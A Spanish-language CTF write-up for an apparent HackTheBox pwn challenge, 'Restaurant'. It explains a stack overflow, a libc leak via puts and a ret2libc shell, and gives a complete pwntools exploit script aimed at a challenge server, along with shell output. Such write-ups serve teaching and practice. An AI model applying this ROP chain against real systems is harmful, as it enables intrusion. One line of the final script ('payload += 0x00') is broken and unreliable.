Restaurant
On this page
leak libc & ret2libc
June 30, 20254 minutes
Offset
El primer paso es conseguir el offset, lo cual se puede hacer simplemente generando una string con cyclic
pwndbg> cyclic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Al mandarlo en el segundo input se consiguen sobreescribir varios registros
RBP 0x6161616161616165 ('eaaaaaaa')
RSP 0x7fffffffe3f8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
RIP 0x400eec (fill+162) ◂— ret
A diferencia de en 32 bits, si la dirección no es válida, el valor de RIP no cambia.
Entonces, para calcular el offset, sabiendo que al hacer un ret, RIP toma el valor apuntado por RSP, podemos obtener el valor de RSP (o RBP) y sumarle 8.
RSP
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
RBP
pwndbg> cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32
Protecciones
pwndbg> checksec
File: restaurant
Arch: amd64
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
NX está habilitado así que no se puede mandar un shellcode y saltar a ese shellcode para que se ejecute.
Una alternativa para cuando hay NX activado es hacer un ret2libc para conseguir una shell system("/bin/sh")
Leak libc
Para poder hacer el ret2libc se necesita saber la dirección base de libc, eso se puede conseguir haciendo un puts de la dirección de puts: puts(puts) Para hacer esto se necesitan las direcciones de puts.plt y puts.got, las cuales se pueden conseguir con:
puts_got = e.got['puts']
puts_plt = e.plt['puts']
La dirección puts.got hay que passarsela como argumento a puts.plt, como estamos en 64 bits la dirección hay que pasársela por rdi.
Para cambiar el valor de RDI necesitamos un gadget
~/Desktop/htb/challs/pwn/restaurant/pwn_restaurant$ ROPgadget --binary=restaurant | grep rdi
0x00000000004010a3 : pop rdi ; ret
Con pop rdi; ret
rdi va a tomar el valor al que apunta RSP y luego va a hacer un ret, cosa que nos va perfecto.
Por último para que el programa siga funcionando necesitamos la dirección de donde va a saltar el programa una vez lekeada libc, por ejemeplo se podría usar la función de main, para saltar a main.
main = e.symbols['main']
El orden del primer payload quedaría así
pop_rdi -> puts_got -> puts_plt -> main
payload = b'A' * rip_offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendlineafter('>',payload)
Analizando la respuesta parece que se está lekeando correctamente la dirección
Para conseguir esa dirección se puede hacer:
data = r.readline_contains("Enjoy")
leak = u64(data[-6:].ljust(8, b'\x00'))
info(f"Leak puts_got: {hex(leak)}")
Ahora si le restamos el offset de puts, obtenemos la dirección base de libc
libc_base = leak - libc.symbols['puts']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")
[*] Leak puts_got: 0x7ffff7e12da0
[*] Libc base: 0x7ffff7d92300
ret2libc
Una vez tenemos la base de libc ya se puede hacer el ret2libc, para conseguir poder ejecutar comandos necesitamos el offset de /bin/sh
de system y opcionalmente la dirección de otra parte del programa o de exit, para que no se detenga el programa por un segementation fault
sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
exit = libc.sym["exit"]
No hace falta sumarle el libc porque como antes hemos puesto libc.address = libc_base
pwntools ya lo incluye en system, sh y exit
También se necesita un ret el cual se puede encontrar con ROPGadgets igual que se hizo antes con el pop rdi
$ ROPgadget --binary=restaurant | grep ret
........
0x000000000040063e : ret
........
Importante recordar que /bin/sh se lo pasamos como argumento a system, así que vamos a volver a usar pop rdi
Ahora solo queda estructurarlo todo y mandarlo
ret -> pop_rdi -> binsh -> system -> exit
ret = 0x40063e
payload = b"A" * rip_offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(sh)
payload += p64(system)
payload += p64(0x0)
r.sendlineafter('>', payload)
Final script
Enjoy your AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>\x06@$ whoami
ctf
$ ls
flag.txt
libc.so.6
restaurant
run_challenge.sh
$
#!/usr/bin/env python3
from pwn import *
import base64
e = ELF("./restaurant")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
HOST = "94.237.60.55"
PORT = 38156
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([e.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote(HOST, PORT)
return r
def main():
r = conn()
rbp_offset = 32
rip_offset = 32 + 8
r.sendlineafter('>', '1')
pop_rdi_ret = 0x4010a3
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']
info(hex(puts_plt))
info(hex(puts_got))
info(hex(main))
payload = b'A' * rip_offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendlineafter('>',payload)
data = r.readline_contains("Enjoy")
info(base64.b64encode(data))
leak = u64(data[-6:].ljust(8, b'\x00'))
info(f"Leak puts_got: {hex(leak)}")
libc_base = leak - libc.symbols['puts']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")
r.sendlineafter('>', '1')
sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
exit = libc.sym["exit"]
ret = 0x40063e
payload = b"A" * rip_offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(sh)
payload += p64(system)
payload += 0x00
r.sendlineafter('>', payload)
r.interactive()
if __name__ == "__main__":
main()